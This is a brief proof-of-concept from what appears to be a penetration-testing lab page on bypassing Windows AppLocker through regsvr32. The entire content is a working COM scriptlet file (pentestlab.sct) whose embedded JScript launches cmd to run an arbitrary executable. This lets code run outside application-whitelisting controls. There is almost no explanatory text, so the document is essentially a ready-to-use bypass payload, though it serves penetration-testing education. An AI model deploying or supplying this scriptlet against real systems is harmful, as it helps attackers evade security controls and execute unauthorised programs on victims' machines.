AppLocker - Regsvr32

pentestlab.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="Pentest"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - @netbiosX -->
	<script language="JScript">
		<![CDATA[
	
			var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");	
	
		]]>
</script>
</registration>
</scriptlet>